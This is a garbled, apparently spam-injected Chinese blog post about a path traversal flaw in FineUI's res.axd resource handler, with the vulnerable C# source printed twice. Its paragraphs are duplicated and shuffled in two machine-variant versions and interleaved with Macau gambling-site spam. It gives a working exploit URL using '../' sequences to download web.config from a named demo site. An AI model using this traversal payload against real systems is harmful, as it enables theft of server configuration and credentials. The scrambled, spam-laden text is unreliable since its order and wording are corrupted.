澳门娱乐网上平台意识一向没注入成功也不曾报错,发现代码安全方面做的要么欠缺的

世家都应有通晓 大家引用js恐怕css的时候平常会有../
那样的门径,其实很简短,就是下面目录,

注:屏蔽本漏洞的热切文告:http://fineui.com/bbs/forum.php?mod=viewthread&tid=7863

自小编小学文化,文采倒霉,写的不佳请各位多多包涵,

本人小学文化,文采不佳,写的不佳请各位多多包涵,

澳门娱乐网上平台 1澳门娱乐网上平台 2澳门娱乐网上平台 3

  case "img":                    //binary = ResourceHelper.GetResourceContentAsBinary;                    //context.Response.OutputStream.Write(binary, 0, binary.Length);                    //context.Response.ContentType = "image/" + GetImageFormat;                                        context.Response.WriteFile(context.Server.MapPath(String.Format("{0}/res/images/{1}", extjsBasePath, typeValue)));                    context.Response.ContentType = "image/" + GetImageFormat(typeValue);                    break;

注:屏蔽本漏洞的急迫通告:http://fineui.com/bbs/forum.php?mod=viewthread&tid=7863

标题代码就在

就那样大家就足以获得web.config了,然后拼成完整的url:http://fineui.com/demo/res.axd?img=../../../../appboxpro/web.config&t=icon
 浏览器输入澳门娱乐网上平台 4

咱俩就利用这么些../ 把俺写的/res/images/给去掉 也正是变成路径

    方今作者喜欢钻研一些代码安全方面包车型地铁难题,前些日子琢磨了下力软的框架,发现代码安全位置做的依然欠缺的,后天偶然的机遇接触了下fineui,从最初始的注入开头,都并未怎么突破,

最佳就想到列别的排序,从列别排序注入,弄了长久,发现直接没注入成功也一直不报错,小编就相当竟然,然后看了下fineui的开源版,看了代码,发现原先她是判定的
,不是拼接的,难怪注入战败,

  case "img":
                    //binary = ResourceHelper.GetResourceContentAsBinary(resName);
                    //context.Response.OutputStream.Write(binary, 0, binary.Length);
                    //context.Response.ContentType = "image/" + GetImageFormat(resName);


                    context.Response.WriteFile(context.Server.MapPath(String.Format("{0}/res{1}", extjsBasePath, typeValue)));

                    context.Response.ContentType = "image/" + GetImageFormat(typeValue);
                    break;

就这么大家就足以得到web.config了,然后拼成完整的url:http://fineui.com/demo/res.axd?img=../../../../appboxpro/web.config&t=icon
浏览器输入澳门娱乐网上平台 5

本条地方,于是去看了下她的源码

本来认为没什么办法了,然后查看页面源码,发现三个引用引起了本身的专注:澳门娱乐网上平台 6

今日就先到那吗。。。还得写文档,前些天示范项目,注定又是3个无眠夜。。。

/res/images/../../web.config  
/res../../web.config  
using System;using System.Collections.Generic;using System.Text;using System.Web;using System.Reflection;using System.IO;using System.Drawing.Imaging;namespace FineUI{    /// <summary>    /// 资源处理程序    /// </summary>    public class ResourceHandler : IHttpHandler    {        /// <summary>        /// 处理资源的请求        /// </summary>        /// <param name="context">Http请求上下文</param>        public void ProcessRequest(HttpContext context)        {            string type = String.Empty;            string typeValue = String.Empty;            string extjsBasePath = GlobalConfig.GetExtjsBasePath();            //resName = "FineUI.";            if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["icon"]))            {                type = "icon";            }            //else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["js"]))            //{            //    type = "js";            //    //resName += "js." + typeValue;            //}            //else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["lang"]))            //{            //    type = "lang";            //    //resName += "js.lang." + typeValue;            //}            else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["theme"]))            {                // res.axd?theme=default.grid.refresh.gif                type = "theme";                //resName += "res.theme." + typeValue;            }            //else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["css"]))            //{            //    type = "css";            //    //resName += "res.css." + typeValue;            //}            else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["img"]))            {                type = "img";                //resName += "res.img." + typeValue;            }            else            {                context.Response.Write("Not supported!");                return;            }            //byte[] binary;            switch             {                case "icon":                    if (!typeValue.EndsWith(".png") && !typeValue.EndsWith(".gif"))                    {                        typeValue = IconHelper.GetNameEnum.Parse(typeof, typeValue));                    }                    //resName += "res.icon." + typeValue;                    string serverPath = String.Format("{0}/{1}", GlobalConfig.GetIconBasePath(), typeValue);                    context.Response.WriteFile(context.Server.MapPath(serverPath));                    context.Response.ContentType = "image/" + GetImageFormat(typeValue);                    break;                //case "js":                //    context.Response.Write(ResourceHelper.GetResourceContent;                //    context.Response.ContentType = "text/javascript";                //case "lang":                //    context.Response.Write(ResourceHelper.GetResourceContent;                //    context.Response.ContentType = "text/javascript";                //    break;                //case "css":                //    context.Response.Write(ResourceHelper.GetResourceContent;                //    context.Response.ContentType = "text/css";                //    break;                case "theme":                    string themePath = "";                    string themeImageFormat = "";                    int lastDotIndex = typeValue.LastIndexOf(".");                    if (lastDotIndex >= 0)                    {                        themePath = typeValue.Substring(0, lastDotIndex).Replace('.', '/');                        themeImageFormat = typeValue.Substring(lastDotIndex + 1);                    }                    context.Response.WriteFile(context.Server.MapPath(String.Format("{0}/res/images/{1}.{2}", extjsBasePath, themePath, themeImageFormat)));                    context.Response.ContentType = "image/" + GetImageFormat(typeValue);                    break;                case "img":                    //binary = ResourceHelper.GetResourceContentAsBinary;                    //context.Response.OutputStream.Write(binary, 0, binary.Length);                    //context.Response.ContentType = "image/" + GetImageFormat;                                        context.Response.WriteFile(context.Server.MapPath(String.Format("{0}/res/images/{1}", extjsBasePath, typeValue)));                    context.Response.ContentType = "image/" + GetImageFormat(typeValue);                    break;            }            // 缓存一年,只能通过改变 URL 来强制更新缓存            context.Response.Cache.SetExpires(DateTime.Now.AddYears(1));            context.Response.Cache.SetCacheability(HttpCacheability.Public);        }        //private void RenderImage(HttpContext context, string resName)        //{        //    Assembly assembly = Assembly.GetExecutingAssembly();        //    using (Stream stream = assembly.GetManifestResourceStream        //    {        //        using (System.Drawing.Image image = System.Drawing.Image.FromStream        //        {        //            // PNG输出时出现“GDI+ 中发生一般性错误”        //            using (MemoryStream ms = new MemoryStream        //            {        //                image.Save(ms, image.RawFormat);        //                ms.WriteTo(context.Response.OutputStream);        //                context.Response.ContentType = "image/" + GetImageFormat(image.RawFormat);        //            }        //        }        //    }        //}        private string GetImageFormat(string imageName)        {            int lastDotIndex = imageName.LastIndexOf(".");            if (lastDotIndex >= 0)            {                return imageName.Substring(lastDotIndex + 1);            }            return "png";        }        private string GetImageFormat(ImageFormat format)        {            if (format == ImageFormat.Bmp)            {                return "bmp";            }            else if (format == ImageFormat.Gif)            {                return "gif";            }            else if (format == ImageFormat.Jpeg)            {                return "jpeg";            }            else if (format == ImageFormat.Png)            {                return "png";            }            else if (format == ImageFormat.Tiff)            {                return "tiff";            }            else if (format == ImageFormat.Icon)            {                return "icon";            }            return "gif";        }        /// <summary>        /// 只要请求的 URL 相同,则请求可以重用        /// </summary>        public bool IsReusable        {            get            {                return true;            }        }    }}

理所当然觉得没什么办法了,然后查看页面源码,发现二个引用引起了自家的小心:澳门娱乐网上平台 7

    近期作者喜欢钻研一些代码安全方面包车型客车题材,前些日子钻探了下力软的框架,发现代码安全地点做的要么欠缺的,明天偶然的机遇接触了下fineui,从最起头的注入初始,都并未什么突破,

ok
web.config就像此被砍下来了,,,当然,web.config都打下了,其它也就都不妨可说的了,

大家都应当明了 大家引用js或许css的时候时不时会有../
那样的不二法门,其实很粗大略,正是上级目录,

看了下,开心呀。。太好了,不知情你们看到难点来了从未有过,

看了下,洋洋得意啊。。太好了,不知晓你们看看难点来了从未,

我们就使用这些../  把作者写的/res给去掉  也正是变成路径  

明日就先到那吗。。。还得写文书档案,前些天示范项目,注定又是3个无眠夜。。。

难点代码就在

澳门娱乐网上平台 8澳门娱乐网上平台 9澳门娱乐网上平台 10

 

其一地址,于是去看了下她的源码

最棒就想到列其他排序,从列别排序注入,弄了绵绵,发现向来没注入成功也尚未报错,作者就格外出乎意料,然后看了下fineui的开源版,看了代码,发现原来她是判断的
,不是东拼西凑的,难怪注入战败,

ok
web.config就好像此被砍下来了,,,当然,web.config都攻破了,别的也就都不要紧可说的了,

 

using System;
using System.Collections.Generic;
using System.Text;
using System.Web;
using System.Reflection;
using System.IO;
using System.Drawing.Imaging;

namespace FineUI
{
    /// <summary>
    /// 资源处理程序
    /// </summary>
    public class ResourceHandler : IHttpHandler
    {
        /// <summary>
        /// 处理资源的请求
        /// </summary>
        /// <param name="context">Http请求上下文</param>
        public void ProcessRequest(HttpContext context)
        {
            string type = String.Empty;
            string typeValue = String.Empty;
            string extjsBasePath = GlobalConfig.GetExtjsBasePath();
            //resName = "FineUI.";


            if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["icon"]))
            {
                type = "icon";
            }
            //else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["js"]))
            //{
            //    type = "js";
            //    //resName += "js." + typeValue;
            //}
            //else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["lang"]))
            //{
            //    type = "lang";
            //    //resName += "js.lang." + typeValue;
            //}
            else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["theme"]))
            {
                // res.axd?theme=default.grid.refresh.gif
                type = "theme";
                //resName += "res.theme." + typeValue;
            }
            //else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["css"]))
            //{
            //    type = "css";
            //    //resName += "res.css." + typeValue;
            //}
            else if (!String.IsNullOrEmpty(typeValue = context.Request.QueryString["img"]))
            {
                type = "img";
                //resName += "res.img." + typeValue;
            }
            else
            {
                context.Response.Write("Not supported!");
                return;
            }

            //byte[] binary;
            switch (type)
            {
                case "icon":
                    if (!typeValue.EndsWith(".png") && !typeValue.EndsWith(".gif"))
                    {
                        typeValue = IconHelper.GetName((Icon)Enum.Parse(typeof(Icon), typeValue));
                    }
                    //resName += "res.icon." + typeValue;
                    string serverPath = String.Format("{0}/{1}", GlobalConfig.GetIconBasePath(), typeValue);
                    context.Response.WriteFile(context.Server.MapPath(serverPath));

                    context.Response.ContentType = "image/" + GetImageFormat(typeValue);
                    break;
                //case "js":
                //    context.Response.Write(ResourceHelper.GetResourceContent(resName));
                //    context.Response.ContentType = "text/javascript";
                //case "lang":
                //    context.Response.Write(ResourceHelper.GetResourceContent(resName));
                //    context.Response.ContentType = "text/javascript";
                //    break;
                //case "css":
                //    context.Response.Write(ResourceHelper.GetResourceContent(resName));
                //    context.Response.ContentType = "text/css";
                //    break;
                case "theme":
                    string themePath = "";
                    string themeImageFormat = "";
                    int lastDotIndex = typeValue.LastIndexOf(".");
                    if (lastDotIndex >= 0)
                    {
                        themePath = typeValue.Substring(0, lastDotIndex).Replace('.', '/');
                        themeImageFormat = typeValue.Substring(lastDotIndex + 1);
                    }

                    context.Response.WriteFile(context.Server.MapPath(String.Format("{0}/res{1}.{2}", extjsBasePath, themePath, themeImageFormat)));

                    context.Response.ContentType = "image/" + GetImageFormat(typeValue);
                    break;
                case "img":
                    //binary = ResourceHelper.GetResourceContentAsBinary(resName);
                    //context.Response.OutputStream.Write(binary, 0, binary.Length);
                    //context.Response.ContentType = "image/" + GetImageFormat(resName);


                    context.Response.WriteFile(context.Server.MapPath(String.Format("{0}/res{1}", extjsBasePath, typeValue)));

                    context.Response.ContentType = "image/" + GetImageFormat(typeValue);
                    break;
            }


            // 缓存一年,只能通过改变 URL 来强制更新缓存
            context.Response.Cache.SetExpires(DateTime.Now.AddYears(1));
            context.Response.Cache.SetCacheability(HttpCacheability.Public);
        }

        //private void RenderImage(HttpContext context, string resName)
        //{
        //    Assembly assembly = Assembly.GetExecutingAssembly();
        //    using (Stream stream = assembly.GetManifestResourceStream(resName))
        //    {
        //        using (System.Drawing.Image image = System.Drawing.Image.FromStream(stream))
        //        {
        //            // PNG输出时出现“GDI+ 中发生一般性错误”
        //            using (MemoryStream ms = new MemoryStream())
        //            {
        //                image.Save(ms, image.RawFormat);
        //                ms.WriteTo(context.Response.OutputStream);
        //                context.Response.ContentType = "image/" + GetImageFormat(image.RawFormat);
        //            }
        //        }
        //    }
        //}

        private string GetImageFormat(string imageName)
        {
            int lastDotIndex = imageName.LastIndexOf(".");
            if (lastDotIndex >= 0)
            {
                return imageName.Substring(lastDotIndex + 1);
            }
            return "png";
        }

        private string GetImageFormat(ImageFormat format)
        {
            if (format == ImageFormat.Bmp)
            {
                return "bmp";
            }
            else if (format == ImageFormat.Gif)
            {
                return "gif";
            }
            else if (format == ImageFormat.Jpeg)
            {
                return "jpeg";
            }
            else if (format == ImageFormat.Png)
            {
                return "png";
            }
            else if (format == ImageFormat.Tiff)
            {
                return "tiff";
            }
            else if (format == ImageFormat.Icon)
            {
                return "icon";
            }
            return "gif";
        }


        /// <summary>
        /// 只要请求的 URL 相同,则请求可以重用
        /// </summary>
        public bool IsReusable
        {
            get
            {
                return true;
            }
        }
    }
}